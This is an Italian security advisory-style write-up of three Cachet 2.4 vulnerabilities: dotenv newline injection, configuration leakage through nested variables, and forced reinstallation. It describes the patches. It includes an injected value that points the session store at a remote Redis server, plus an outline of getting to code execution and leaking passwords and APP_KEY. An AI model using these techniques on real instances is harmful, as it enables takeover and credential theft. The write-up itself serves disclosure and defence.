Cachet 2.4: Esecuzione di Codice tramite Iniezione nelle Configurazioni di Laravel

Non viene eseguita alcuna validazione sui dati in ingresso: fintanto che la voce di configurazione esiste già, verrà sostituita con un valore proveniente dal parametro. Se un attaccante fornisce un valore contenente nuove linee, creerà nuove voci nel file dotenv e potrebbe alterare le funzionalità a livello di framework.

Nota: solo la prima definizione di una variabile in un file dotenv verrà utilizzata; le successive saranno ignorate.

Su progetti Laravel, questa primitiva è sufficiente per ottenere l’esecuzione di codice arbitrario. La configurazione iniziale del file dotenv probabilmente apparirà così in molte istanze:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Gli attaccanti potrebbero sostituire la chiave CACHE_DRIVER e registrare un server Redis sotto il loro controllo come nuovo backend di sessione:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Dopo aver inviato una richiesta che imposta CACHE_DRIVER a questo valore, il file dotenv apparirà così:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Poiché le sessioni Laravel vengono serializzate utilizzando il formato nativo di PHP, vengono analizzate con la funzione unserialize(). Questa è una debolezza nota che può essere sfruttata per l’esecuzione di codice arbitrario utilizzando una sequenza di oggetti appositamente elaborati, un concetto chiamato “catene pop”. Lo strumento PHPGGC può generare tali catene per progetti Laravel. 

Potrebbero esistere altri modi per sfruttare l’esecuzione di comandi da un’iniezione di nuova riga in un file dotenv, ma non abbiamo intrapreso ulteriori ricerche in questa direzione. Il mio team e io siamo curiosi di sapere se sei a conoscenza di altre tecniche, però!

CVE-2021-39174: Perdita di configurazione

Come ho descritto nella sezione precedente, si può avere il controllo diretto di lettura e scrittura sui valori memorizzati nel file dotenv. La scrittura in questo file alla fine porta all’esecuzione di codice arbitrario, ma può anche essere sfruttato dal fatto che i valori di questo file sono visualizzati nell’interfaccia?

La documentazione di vlucas/phpdotenv descrive che supporta l’assegnazione di variabili nidificate: nella dichiarazione di una variabile, è possibile fare riferimento a una dichiarata in precedenza con la sintassi ${NAME}.

Questa caratteristica è conveniente: facendo riferimento a un’altra variabile in un’entrata del file di configurazione dotenv e visualizzando questa entrata nell’interfaccia, si rivela il valore di un’altra variabile. 

È già ampiamente documentato che la fuoriuscita di APP_KEY porta a esecuzione di codice se il driver della sessione è impostato su cookie, e questa primitiva può anche essere utilizzata per far trapelare DB_PASSWORD e MAIL_PASSWORD per eseguire ulteriori attacchi.

CVE-2021-39173: Reinstallazione Forzata

La pagina di configurazione non può essere acceduta se l’istanza è già installata, come implementato nel middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // non impostato allora!      
         }        
         
         return $next($request);   
  } 
}

La verifica si basa unicamente sul valore della configurazione: se non definito o vuoto, il middleware considererà che l’istanza è installata.

Nel caso ti stia chiedendo cosa altro può valutare come falso, ecco una rapida panoramica sul sistema di tipizzazione di PHP durante le comparazioni fino a PHP 8. La comparazione può essere eseguita utilizzando un controllo di uguaglianza (==) o un controllo di identità (===). I controlli di uguaglianza implicano che il tipo degli operandi non viene considerato e le stringhe possono essere convertite in numeri in precedenza. Questo comportamento è stato chiamato “type juggling” ed è stato sfruttato in varie vulnerabilità nella vita reale (CVE-2017-1001000, CVE-2019-10231). Nel caso della comparazione sopra, qualsiasi valore uguale a una stringa vuota o “0” valuterà false e concederà l’accesso alle pagine di configurazione.

Il valore di app_name non viene convalidato durante l’aggiornamento delle impostazioni in SettingsController@postSettings, al [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Pertanto, un utente autenticato può aggiornarlo a un valore che valuta come falso e quindi accedere/configurare di nuovo per reinstallare l’istanza con un nuovo account amministratore (elevazione dei privilegi) o sfruttare il nostro primo ritrovamento e ottenere l’esecuzione del codice (ricorda, UpdateConfigCommandHandler può anche essere sfruttato da questo percorso).

Patch

La vulnerabilità di iniezione di nuova linea (CVE-2021-39172) è stata affrontata migliorando la convalida dei valori in ingresso in UpdateConfigCommandHandler, rifiutando qualsiasi modifica contenente caratteri di nuova linea.

Il bug di perdita di configurazione (CVE-2021-39174) è stato più complesso da risolvere, poiché la versione più recente della libreria dotenv non poteva essere importata a causa delle dipendenze esistenti. Invece, è stato trasferito il codice pertinente per consentire al gestore di comando di identificare se un valore contiene una variabile nidificata. 

Infine, non è possibile forzare una reinstallazione delle istanze esistenti (CVE-2021-39173) grazie a controlli migliorati nel middleware coinvolto.

Cronologia

Riepilogo

In questo articolo, ho analizzato tre vulnerabilità in Cachet e dimostrato la capacità di prendere il controllo delle istanze con solo permessi di utente di base utilizzando i file di configurazione Laravel. Ho anche descritto le patch applicate dai maintainer e come prevengono gli attacchi che ho presentato. 

Infine, io e il mio team vorremmo ringraziare i maintainer della fork FiveAI di Cachet per aver riconosciuto il nostro advisory e aver risolto queste vulnerabilità in modo tempestivo e professionale.